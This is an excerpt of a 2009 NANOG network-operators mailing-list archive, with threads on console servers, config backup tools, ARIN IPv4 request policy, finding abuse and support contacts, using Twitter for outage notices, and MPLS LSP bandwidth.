Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <485ED9BA02629E4BBBA53AC892EDA50E08C660A4@usmsxt104.mwd.h2o> References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> <485ED9BA02629E4BBBA53AC892EDA50E08C660A4@usmsxt104.mwd.h2o> Message-ID: <0D9F9393-0239-4C60-BF6B-176BCD75213D@delong.com> My favorite front end for serial console management is conserver. It's really great software and the price is right. http://www.conserver.com Owen On Apr 24, 2009, at 10:40 AM, Holmes,David A wrote: > We have just implemented Avocent console and power concentrators. > Console servers are reachable via a highly customizable web interface. > The Avocent software can also be virtualized on VMWare. Console > connectivity can be provisioned to first try SSH via the IP network, > and > automatically failover to a dial-up modem connection if the network is > down. For power both AC and DC power supplies are supported. With DC > the > battery plant main fuse panel connects to the device that is used to > power cycle the electronic equipment using low amperage "grasshopper" > fuses for each device. I believe that Avocent is the only vendor > with DC > power-cycle support. > > The serial cables for the device consoles do not require power > supplies > as indicated below. > > -----Original Message----- > From: Owen DeLong [mailto:owen at delong.com] > Sent: Friday, April 24, 2009 9:52 AM > To: Joe Abley > Cc: NANOG list > Subject: Re: integrated KVMoIP and serial console terminal server > > I haven't really found a combo unit I like as yet. > > For KVM, I like the Raritan products. > For Serial, I prefer the Avocent line. > > Owen > > On Apr 23, 2009, at 3:17 PM, Joe Abley wrote: > >> Hi all, >> >> What is everybody's favourite combination rack-mount VGA/USB KVM- >> over-IP and serial console concentrator in 2009? >> >> I'm looking for something that will accommodate 8 or so 9600bps >> serial devices and about 12 VGA/USB devices, all reachable over IP >> via sane means (ssh, https, etc). Being able to trunk everything >> through cat5E/RJ45 plant is not necessary; in this application >> everything is in the same cabinet. >> >> Avocent seem to make a likely-looking box, but (a) it's a bit >> insanely expensive, and (b) the adapters that you connect using RJ45 >> to the avocent and via RS232 to the serial devices *each seem to >> require a power supply* which frankly makes me recoil in horror. >> Perhaps I mis-read the glossy web page. >> >> Advice would be appreciated; direct mail is fine; I can summarise >> back to the list if there is interest in me doing so. >> >> >> Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2105 bytes Desc: not available URL: From nonobvious at gmail.com Sat Apr 25 02:31:25 2009 From: nonobvious at gmail.com (Bill Stewart) Date: Sat, 25 Apr 2009 00:31:25 -0700 Subject: Broadband Subscriber Management In-Reply-To: References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> <49F1AD68.1000403@xyonet.com> Message-ID: <18a5e7cb0904250031j7c3cf5c3jb1fff73d8408d349@mail.gmail.com> On Fri, Apr 24, 2009 at 7:27 AM, Frank Bulk wrote: > So what were you doing than, RFC 1483? Back when I worked with AT&T's business-market DSL folks, used RFC 1483 rather than annoy customers with PPPoE, and we provided ATM to lots of CLECs that did the same. (I don't know what the current ILEC consumer offers use.) I currently use sonic.net DSL at home, which is using AT&T (SBC/PacBell) LEC DSL underneath, and their installation instructions were to discard the PPPoE driver disk that came with the LEC install kit; I'm about 95% sure it's RFC1483 also. -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. From pstewart at nexicomgroup.net Sat Apr 25 08:29:25 2009 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Sat, 25 Apr 2009 09:29:25 -0400 Subject: Config Backup / Inventory In-Reply-To: References: Message-ID: <89D27DE3375BB6428DDCC2927489826A02350129@nexus.nexicomgroup.net> We use Orion NCM here from Solarwinds - not only does it do backups etc. but also allows us to script changes, updates and IOS upgrades as well (after extensive testing of course). For example, we still have 50-60 Cisco 806 routers deployed at customer sites - takes about 20 minutes to do an IOS upgrade on ALL of them at once.... Paul -----Original Message----- From: Tim Sanderson [mailto:tims at donet.com] Sent: April 25, 2009 1:15 AM To: nanog at nanog.org Subject: RE: Config Backup / Inventory Kiwi CatTools works well for us-and it's inexpensive. I've been very happy with it. -- Tim -----Original Message----- From: Joshua Eyres [mailto:joshua.eyres at gmail.com] Sent: Friday, April 24, 2009 4:25 AM To: nanog at nanog.org Subject: Config Backup / Inventory Hi, I am looking for a bit of advice around configuration backup / inventory. We currently have a large multi-vendor network which is currently managed through two separate tools (rancid - http://www.shrubbery.net/rancid and ns4 - http://www.noodles.org.uk/ns4.html). Both tools do the job very well, but management have asked that we look for commercial alternatives that have a proper support organisation looking after them. IP Service Activator has been mentioned as something which can fit this role, but I haven't had any experience and I haven't heard a lot of good things about it. We are looking for a tool which is flexible that allows configuration backup to textual form for easy restoration as well as the ability to deploy scripted changes to the network quickly. Do people generally use free tools for network management or are there viable commercial alternatives? Thanks, Josh THIS MESSAGE IS INTENDED ONLY FOR PERSONAL AND CONFIDENTIAL USE OF THE INDIVIDUAL OR ENTITY TO WHOM IT IS ADDRESSED AND MAY CONTAIN INFORMATION THAT IS PRIVILEGED, CONFIDENTIAL, AND EXEMPT FROM DISCLOSURE UNDER APPLICABLE LAW. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that you have received this message in error and that any review, dissemination, distribution, or copying of this message is strictly prohibited. If you have received this message in error, please notify the sender immediately by e-mail or telephone, and delete the original message immediately. Thank you. ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From rbf+nanog at panix.com Sat Apr 25 08:35:03 2009 From: rbf+nanog at panix.com (Brett Frankenberger) Date: Sat, 25 Apr 2009 08:35:03 -0500 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <877585b00904240512r1c2a18e2had6e002de1f1bfba@mail.gmail.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <05188A4F-4DC1-4118-9210-0AF79836ED22@fattoc.com> <877585b00904240512r1c2a18e2had6e002de1f1bfba@mail.gmail.com> Message-ID: <20090425133503.GA28624@panix.com> On Fri, Apr 24, 2009 at 01:12:42PM +0100, Michael Dillon wrote: > > I think that many company officers will ask to see the results of an audit > before they sign this document, and they will want the audit to be performed > by qualified CPAs. Are your IPv4 records in good enough shape that an > accountant will sign off on them? My boss (who is an officer of the company within the meaning of the term in the new ARIN requirement) will attest to my employer's next IP assignment (we're an end user with PI space) request to ARIN on nothing but my say-so that it is accurate. He's not a network guy, has no good way of verifying the data himself and won't require some external entity to come audit the request. He might ask me a few questions before signing, but that will be it. If he didn't trust me, he'd have replaced me a long time ago. (For the record, yes, my records are good enough that an accountant would likely sign off on them. But that won't be necessary.) Of course, I haven't been submitting fraudulent requests to ARIN and don't plan to start, so I'm not the target of ARIN's new policy anyway. There are many things the new policy won't stop. It won't stop fraudulent requests where the officer of the company is knowingly in the loop of the fraud (this would include small organizations where the entire network engineering staff is the VP of Enginering). It won't stop fraudulent requests where the requestors are willing to lie to company executives (except in what I expect are relatively rare cases where the executives independantly verify the data before signing off on it). It *will* stop fraudulent requests where the requests are being made by engineers who are (a) willing to lie to ARIN, but (b) not willing to lie to their boss and boss's boss (through however many levels it takes to get to an officer who meets ARIN's requirements). I suspect that's a non-trivial amount of the fraud that is going on. ARIN can't fire anyone. Managers typically don't like to be lied to and might very well fire an engineer caught lying ... many people won't take that sort of chance with their job. (Sure, some will tell their boss the truth and then ask him to lie to ARIN, and some officers will go along with that -- I covered that possibility the previous paragraph -- but no where near all will.) Many of the attacks here against ARIN's policy are centered on the fact that it isn't perfect and there are still lots of ways for fraud to happen. All of those attacks are valid, but they ignore the fact that the policy probably was't intended to stop all fraud, just reduce fraud. I have no data, but my gut tells me it will reduce some fraud. I have no idea how much. -- Brett From martin at theicelandguy.com Sat Apr 25 12:43:46 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Sat, 25 Apr 2009 13:43:46 -0400 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: I can assure you that based on my own experiences in very large companies that I'd have few issues complying with this new requirement. I like the idea and honestly, ARIN is damned if they do (see this pretty inane thread) and damned if they don't (wait until RIR exhaustion 'day' comes and goes and watch the conspiracy theories as to why ARIN didn't 'do more'). Best, Martin On 4/21/09, Jo Rhett wrote: > On Apr 21, 2009, at 2:42 PM, Shane Ronan wrote: >> Mr Curran, given the response you've seen from the group, and in >> particular the argument that most CEO's or Officers of firms will >> simply sign off on what they IT staff tells them (as they have >> little to no understanding of the situation), > > You really should go ask a CEO if he'd sign off on something that he > doesn't understand. Really. I can assure you that your impression is > wrong, and most CEOs don't prefer to be standing in court defending > their actions. > >> can you explain what exactly you are hoping to achieve by heaping on >> yet an additional requirement to the already over burdensome process >> of receiving an IPv4 allocation? > > > Burdensome? Really? If you have your documentation together it takes > about 15 minutes from beginning of the application form until > receiving your new allocation. I spend longer on hold any time I deal > with any other vendor. > > -- > Jo Rhett > Net Consonance : consonant endings by net philanthropy, open source > and other randomness > > > > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From vixie at isc.org Sat Apr 25 14:18:21 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 25 Apr 2009 19:18:21 +0000 Subject: integrated KVMoIP and serial console terminal server In-Reply-To: <0D9F9393-0239-4C60-BF6B-176BCD75213D@delong.com> (Owen DeLong's message of "Fri\, 24 Apr 2009 23\:19\:10 -0700") References: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> <9757D73F-B026-4D4E-A84F-46EB395934C9@delong.com> <485ED9BA02629E4BBBA53AC892EDA50E08C660A4@usmsxt104.mwd.h2o> <0D9F9393-0239-4C60-BF6B-176BCD75213D@delong.com> Message-ID: Owen DeLong writes: > My favorite front end for serial console management is conserver. > > It's really great software and the price is right. > > http://www.conserver.com see also /usr/ports/sysutils/rtty on freebsd, which pulls from MASTER_SITES= ftp://ftp.isc.org/isc/rtty/ \ ftp://gatekeeper.research.compaq.com/pub/misc/vixie/ since the ftp server mentioned here in 1996 http://www.merit.edu/mail.archives/nanog/1996-08/msg00223.html is dead. -- Paul Vixie KI6YSY From stasinia at msoe.edu Sat Apr 25 17:58:58 2009 From: stasinia at msoe.edu (Stasiniewicz, Adam) Date: Sat, 25 Apr 2009 17:58:58 -0500 Subject: Looking for Abuse Contact at AT&T Message-ID: <00af01c9c5f9$6aeec010$40cc4030$@edu> Hello, I am looking for someone to help escalate an abuse case at AT&T (if it matters, specifically the former Southwestern Bell servicing the San Francisco area). I have been emailing abuse at sbcglobal.net, abuse at swbell.net, and abuse at att.com since 3/35 and all I have received are automated responses with case numbers. I have also attempted to call 800-648-1626 numerous times with no success. I can provide case numbers off list. Thank you! Adam Stasiniewicz Direct: 575-233-7672 From jmartinez at zero11.com Sun Apr 26 15:37:20 2009 From: jmartinez at zero11.com (John Martinez) Date: Sun, 26 Apr 2009 13:37:20 -0700 Subject: Looking for Support Contact at Equifax In-Reply-To: <00af01c9c5f9$6aeec010$40cc4030$@edu> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> Message-ID: <49F4C600.5000609@zero11.com> Their site is down. Thanks. From bc-list at beztech.net Sun Apr 26 15:45:00 2009 From: bc-list at beztech.net (Ben) Date: Sun, 26 Apr 2009 16:45:00 -0400 Subject: Looking for Support Contact at Equifax In-Reply-To: <49F4C600.5000609@zero11.com> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> Message-ID: <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> Try this address or you could try calling: Administrative,Technical Contact: Equifax J42M Domain Admin P.O. Box 740006 Atlanta, GA 30374-0006 US Phone: +1.4048858000 Email: hostmaster at equifax.com HTH --bc On Apr 26, 2009, at 4:37 PM, John Martinez wrote: > Their site is down. > Thanks. > From jmartinez at zero11.com Sun Apr 26 15:53:30 2009 From: jmartinez at zero11.com (John Martinez) Date: Sun, 26 Apr 2009 13:53:30 -0700 Subject: Looking for Support Contact at Equifax In-Reply-To: <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> Message-ID: <49F4C9CA.20505@zero11.com> Thank you. Ben wrote: > Try this address or you could try calling: > > Administrative,Technical Contact: > Equifax J42M > Domain Admin > P.O. Box 740006 > Atlanta, GA 30374-0006 > US > Phone: +1.4048858000 > Email: hostmaster at equifax.com > > HTH > --bc > > On Apr 26, 2009, at 4:37 PM, John Martinez wrote: > >> Their site is down. >> Thanks. >> > From jmartinez at zero11.com Sun Apr 26 15:56:05 2009 From: jmartinez at zero11.com (John Martinez) Date: Sun, 26 Apr 2009 13:56:05 -0700 Subject: Equifax is experiencing a system wide outage tix #8015791 In-Reply-To: <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> Message-ID: <49F4CA65.90407@zero11.com> Ben wrote: > Try this address or you could try calling: > > Administrative,Technical Contact: > Equifax J42M > Domain Admin > P.O. Box 740006 > Atlanta, GA 30374-0006 > US > Phone: +1.4048858000 > Email: hostmaster at equifax.com > > HTH > --bc > > On Apr 26, 2009, at 4:37 PM, John Martinez wrote: > >> Their site is down. >> Thanks. >> > From mike at rockynet.com Sun Apr 26 21:40:46 2009 From: mike at rockynet.com (Mike Lewinski) Date: Sun, 26 Apr 2009 20:40:46 -0600 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <49F4C9CA.20505@zero11.com> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> Message-ID: <49F51B2E.4010402@rockynet.com> We're experimenting with Twitter as a means to communicate anytime there are system-wide outages (in addition to regular maintenance notifications). Adoption is slow but I foresee growth once we really get the word out. Being a data and VoIP provider, certain events can effect both email and telephone communications, so having a truly OOB method of contact is potentially invaluable. It would be awesome if there was a service like twitter that wasn't down as often as it is. Anyone have a list of all xSPs using Twitter? Mike From joesox at gmail.com Sun Apr 26 22:08:35 2009 From: joesox at gmail.com (JoeSox) Date: Sun, 26 Apr 2009 20:08:35 -0700 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <49F51B2E.4010402@rockynet.com> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> <49F51B2E.4010402@rockynet.com> Message-ID: <785694cd0904262008ucaf1063xf2dc50d1590406e5@mail.gmail.com> On Sun, Apr 26, 2009 at 7:40 PM, Mike Lewinski wrote: > We're experimenting with Twitter as a means to communicate anytime there are > system-wide outages (in addition to regular maintenance notifications). > Adoption is slow but I foresee growth once we really get the word out. > Twitter over RSS? I'd choose RSS. All I need is a url; not even a user agreement! -- Later, Joe From Charles at thewybles.com Sun Apr 26 22:13:53 2009 From: Charles at thewybles.com (Charles at thewybles.com) Date: Mon, 27 Apr 2009 03:13:53 +0000 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) Message-ID: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> Twitter URL is an rss feed as well. ------Original Message------ From: JoeSox To: nanog at nanog.org Subject: Re: OOB customer communications (Re: Looking for Support Contact at Equifax) Sent: Apr 26, 2009 8:08 PM On Sun, Apr 26, 2009 at 7:40 PM, Mike Lewinski wrote: > We're experimenting with Twitter as a means to communicate anytime there are > system-wide outages (in addition to regular maintenance notifications). > Adoption is slow but I foresee growth once we really get the word out. > Twitter over RSS? I'd choose RSS. All I need is a url; not even a user agreement! -- Later, Joe Sent via BlackBerry from T-Mobile From ops.lists at gmail.com Sun Apr 26 22:24:30 2009 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Mon, 27 Apr 2009 08:54:30 +0530 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <49F51B2E.4010402@rockynet.com> References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> <49F51B2E.4010402@rockynet.com> Message-ID: If your email and phone communications are down due to a connectivity break, and your customers get connectivity from you [assume no backup links, by default .. you'd be surprised at how many smaller customers get by with a single link and no backups at all. If their connectivity is down too - they just cant get to twitter right? And there's quite likely to be assorted HR policies that say "no goofing off on the internet at work, and that includes twitter, facebook etc" I'd suggest gather as much backup contact info as you can - cellphone + landline (presumably from another carrier, and wired instead of voip), mailing address etc. Use it in series. It is quite scriptable (and even the bulk postal mail part can be automated to some extent). --srs On Mon, Apr 27, 2009 at 8:10 AM, Mike Lewinski wrote: > Being a data and VoIP provider, certain events can effect both email and > telephone communications, so having a truly OOB method of contact is > potentially invaluable. > > It would be awesome if there was a service like twitter that wasn't down as > often as it is. > > Anyone have a list of all xSPs using Twitter? From william.mccall at gmail.com Sun Apr 26 22:25:08 2009 From: william.mccall at gmail.com (William McCall) Date: Sun, 26 Apr 2009 22:25:08 -0500 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> Message-ID: I could see someone complaining about the idea of letting a third party carry outage info like that... at least in my environment. Really, it could be a blessing or a curse for your marketing team, but it does depend on how you handle it I suppose. Potential clients could use the information to see your ability to meet SLA targets before they sign on. If you're not the big dog in the arena, it can very easily work against you by enhancing the BS that competitors will provide. Or, of course, it can give them a warm fuzzy feeling knowing that they can readily see the issues and know how you've been affected. A lot of places still work with an MO of secrecy. The service I support is one of them. From a technical perspective, the idea is solid though. --WJM IV > > ------Original Message------ > From: JoeSox > To: nanog at nanog.org > Subject: Re: OOB customer communications (Re: Looking for Support Contact > at Equifax) > Sent: Apr 26, 2009 8:08 PM > > On Sun, Apr 26, 2009 at 7:40 PM, Mike Lewinski wrote: > > We're experimenting with Twitter as a means to communicate anytime there > are > > system-wide outages (in addition to regular maintenance notifications). > > Adoption is slow but I foresee growth once we really get the word out. > > > > > > From jcdill.lists at gmail.com Sun Apr 26 23:18:09 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Sun, 26 Apr 2009 21:18:09 -0700 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> Message-ID: <49F53201.9000404@gmail.com> William McCall wrote: > I could see someone complaining about the idea of letting a third party > carry outage info like that... at least in my environment. How else do you propose getting outage information to your customers? If the information provider is under your control (not a 3rd party), then whatever took out your primary services (internet services, phone services) might also take out your access to the outage channel that is under your control (e.g. fat-fingered admin messes up an ACL). I *like it* when my service provider has an OOB network outage channel. My biggest complaint has been with networks that setup a channel like this but then get "too busy" during an outage to make use of it. If you are going to setup a channel like this, make sure you use it. Also, if you post a partial update, make sure you follow up with more information when you have it. Some of us read the archives to see if this information was posted and followed-up on in a timely fashion, to evaluate the outage reporting service record before signing up. Suresh Ramasubramanian wrote: > If your email and phone communications are down due to a connectivity > break, and your customers get connectivity from you [assume no backup > links, by default .. you'd be surprised at how many smaller customers > get by with a single link and no backups at all. If their > connectivity is down too - they just cant get to twitter right? Um... what about text messages to these newfangled cell phone thingies? http://www.ehow.com/how_2075926_use-twitter-cell-phone.html Unless you are AT&T or Comcast (or similar) and your customers have U-Verse or Comcast Triple Play (or similar) it has to be a fairly widespread outage to take out your customer's landlines, internet, and cell phones too. If your network has that big of an outage, your customers can follow the outage news updates on the radio. jc From william.mccall at gmail.com Sun Apr 26 23:54:39 2009 From: william.mccall at gmail.com (William McCall) Date: Sun, 26 Apr 2009 23:54:39 -0500 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> <49F53201.9000404@gmail.com> Message-ID: On Sun, Apr 26, 2009 at 11:18 PM, JC Dill wrote: > How else do you propose getting outage information to your customers? > I should have clarified. Third party physical control isn't necessarily the issue, but third party administration and delivery (in the context of twitter) is. Dedicated servers are cheap and you can maintain control of the content. Its not quite the same as using twitter or other third party SaaS that is similar (which can, invariably, control the content at its whim and is a nightmare to manage persons authorized to view such outage info, depending on the service) Or even a mailer that is outside of the scope of your service ops and permit only customers to subscribe. Again, its more about distribution in these environments. If I'm Company A, I really don't want to readily provide my competitor, Company B, with information on outages and a full history of it for them to use in some marketing device (which can't be compared because Company B does not publish their info, but instead provides some nice glossy-paper stats). Physical control certainly can't be the question.. or we'd have the same argument in circles, "If we have physical control, how can we ensure the outage doesn't affect this net too? Better question, why can't we fail over to the net that's working to send these notifications/updates for our down services if the net isn't affected?" That point is moot. My biggest complaint has been with networks that setup a channel like this > but then get "too busy" during an outage to make use of it. If you are > going to setup a channel like this, make sure you use it. Also, if you post > a partial update, make sure you follow up with more information when you > have it. Some of us read the archives to see if this information was posted > and followed-up on in a timely fashion, to evaluate the outage reporting > service record before signing up. > The way notifications should be distributed is in a proactive manner and followed up as a ticket or some other relevant mechanism. Implementing a process like this is trivial in many environments. Incident response should, in most cases, include a mechanism like this that has already been deployed today. Modifications (technically speaking) should not be a big issue. --WJM IV From msaqib at gmail.com Mon Apr 27 07:10:52 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Mon, 27 Apr 2009 17:10:52 +0500 Subject: Concerning MPLS paths Message-ID: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> Hello everyone In the context of a single service provider network running MPLS, if a number of bandwidth constrained LSPs are passing through a particular node and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is X the upper bound on the traffic through that node, or is it sometimes exceeded as well? Thanks and best regards From william.mccall at gmail.com Mon Apr 27 07:41:23 2009 From: william.mccall at gmail.com (William McCall) Date: Mon, 27 Apr 2009 07:41:23 -0500 Subject: Concerning MPLS paths In-Reply-To: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> Message-ID: Well, yes (if you don't count the additional traffic of signalling/routing protocols, label imposition, etc) but consider the fact that topologies change and routing will tend to change the total traffic handled through a node. LSPs are not static unless you use TE tunnels. Remember that labels are Forwarding Equivalency Classes and that translates into subnets (whether they're subnets in a L3 vpn or part of the P network) and the routing is still handled through an IGP or BGP. HTH --WJM IV On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas wrote: > Hello everyone > In the context of a single service provider network running MPLS, if a > number of bandwidth constrained LSPs are passing through a particular node > and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is X > the upper bound on the traffic through that node, or is it sometimes > exceeded as well? > Thanks and best regards > From msaqib at gmail.com Mon Apr 27 07:50:07 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Mon, 27 Apr 2009 17:50:07 +0500 Subject: Concerning MPLS paths In-Reply-To: References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> Message-ID: <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> William Thanks for the reply. You say that LSPs are not static unless you use TE tunnels. Are you referring to the staticness in terms of the path or in the amount of bandwidth reserved on each link along a fixed path determined at the time of signalling? Isn't a bandwidth constrained LSP always a TE tunnel? Thanks and best regards On Mon, Apr 27, 2009 at 5:41 PM, William McCall wrote: > Well, yes (if you don't count the additional traffic of signalling/routing > protocols, label imposition, etc) but consider the fact that topologies > change and routing will tend to change the total traffic handled through a > node. LSPs are not static unless you use TE tunnels. Remember that labels > are Forwarding Equivalency Classes and that translates into subnets (whether > they're subnets in a L3 vpn or part of the P network) and the routing is > still handled through an IGP or BGP. > > HTH > > --WJM IV > > > On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas wrote: > >> Hello everyone >> In the context of a single service provider network running MPLS, if a >> number of bandwidth constrained LSPs are passing through a particular node >> and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is X >> the upper bound on the traffic through that node, or is it sometimes >> exceeded as well? >> Thanks and best regards >> > > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From jlewis at lewis.org Mon Apr 27 08:09:42 2009 From: jlewis at lewis.org (Jon Lewis) Date: Mon, 27 Apr 2009 09:09:42 -0400 (EDT) Subject: ping TWTelecom Message-ID: Anyone home with BGP/Routing access? I opened a ticket last Friday. As a gigabit ethernet customer with a rather simple problem on your end of the BGP config, it'd be nice to actually get some kind of response beyond "Your customer issue has been entered as Change Request #..." BTW...either my inoc-dba foo is weak (quite possible...I've used it so little), or Lars Rocha 4323 * 382 is invalid. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From msaqib at gmail.com Mon Apr 27 08:15:33 2009 From: msaqib at gmail.com (Saqib Ilyas) Date: Mon, 27 Apr 2009 18:15:33 +0500 Subject: Concerning MPLS paths In-Reply-To: <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> References: <262b67200904270510l5f96db7co7f7346a90bdffcac@mail.gmail.com> <262b67200904270550m54ee2183qd38990683fc85884@mail.gmail.com> Message-ID: <262b67200904270615i749a3a15n405fab4384589e0e@mail.gmail.com> Furthermore, I was also wondering, if the bandwidth constraints are upper bounds, what does the traffic distribution typically look like at an LSR? We're interested in traffic within a single service provider, non-Internet traffic. Perhaps most service providers set aside some (dynamic?) pool for Internet traffic, while making commitments to customer's inter-site traffic. Thanks and best regards On Mon, Apr 27, 2009 at 5:50 PM, Saqib Ilyas wrote: > William > Thanks for the reply. You say that LSPs are not static unless you use TE > tunnels. Are you referring to the staticness in terms of the path or in the > amount of bandwidth reserved on each link along a fixed path determined at > the time of signalling? Isn't a bandwidth constrained LSP always a TE > tunnel? > Thanks and best regards > > > On Mon, Apr 27, 2009 at 5:41 PM, William McCall wrote: > >> Well, yes (if you don't count the additional traffic of signalling/routing >> protocols, label imposition, etc) but consider the fact that topologies >> change and routing will tend to change the total traffic handled through a >> node. LSPs are not static unless you use TE tunnels. Remember that labels >> are Forwarding Equivalency Classes and that translates into subnets (whether >> they're subnets in a L3 vpn or part of the P network) and the routing is >> still handled through an IGP or BGP. >> >> HTH >> >> --WJM IV >> >> >> On Mon, Apr 27, 2009 at 7:10 AM, Saqib Ilyas wrote: >> >>> Hello everyone >>> In the context of a single service provider network running MPLS, if a >>> number of bandwidth constrained LSPs are passing through a particular >>> node >>> and the sum of the bandwidth constraints for the LSPs is X Mb/s, then is >>> X >>> the upper bound on the traffic through that node, or is it sometimes >>> exceeded as well? >>> Thanks and best regards >>> >> >> > > > -- > Muhammad Saqib Ilyas > PhD Student, Computer Science and Engineering > Lahore University of Management Sciences > -- Muhammad Saqib Ilyas PhD Student, Computer Science and Engineering Lahore University of Management Sciences From joesox at gmail.com Mon Apr 27 09:09:25 2009 From: joesox at gmail.com (JoeSox) Date: Mon, 27 Apr 2009 07:09:25 -0700 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> References: <1158005508-1240802042-cardhu_decombobulator_blackberry.rim.net-1422900901-@bxe1197.bisx.prod.on.blackberry> Message-ID: <785694cd0904270709w4925b91cla719c191f87f8751@mail.gmail.com> On Sun, Apr 26, 2009 at 8:13 PM, wrote: > Twitter URL is an rss feed as well. That should work then, and a reasonable solution for not having to sign up for a third party service. -- Later, Joe From mike at rockynet.com Mon Apr 27 11:31:02 2009 From: mike at rockynet.com (Mike Lewinski) Date: Mon, 27 Apr 2009 10:31:02 -0600 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: References: <00af01c9c5f9$6aeec010$40cc4030$@edu> <49F4C600.5000609@zero11.com> <58E7F846-051C-42F9-9B96-68CBCEC4C132@beztech.net> <49F4C9CA.20505@zero11.com> <49F51B2E.4010402@rockynet.com> Message-ID: <49F5DDC6.7070901@rockynet.com> Suresh Ramasubramanian wrote: > If your email and phone communications are down due to a connectivity > break, and your customers get connectivity from you [assume no backup > links, by default .. you'd be surprised at how many smaller customers > get by with a single link and no backups at all. If their > connectivity is down too - they just cant get to twitter right? I can post status updates to our noc twitter account from my cell phone (so no reliance on local network) and any customers who are using a smartphone device can get updates from their mobile, also wholly OOB from our network. I imagine there's a way to get updates via pure SMS too. I think it's the melding of the mobile with the Internet that is what gives Twitter its real power. I agree however that if the only Twitter access is via regular computer it loses most of its value in this situation. Mike From brandon.galbraith at gmail.com Mon Apr 27 11:38:37 2009 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Mon, 27 Apr 2009 11:38:37 -0500 Subject: OOB customer communications (Re: Looking for Support Contact at Equifax) In-Reply-To: <49F5DDC6.7070901@rockynet.com> References: 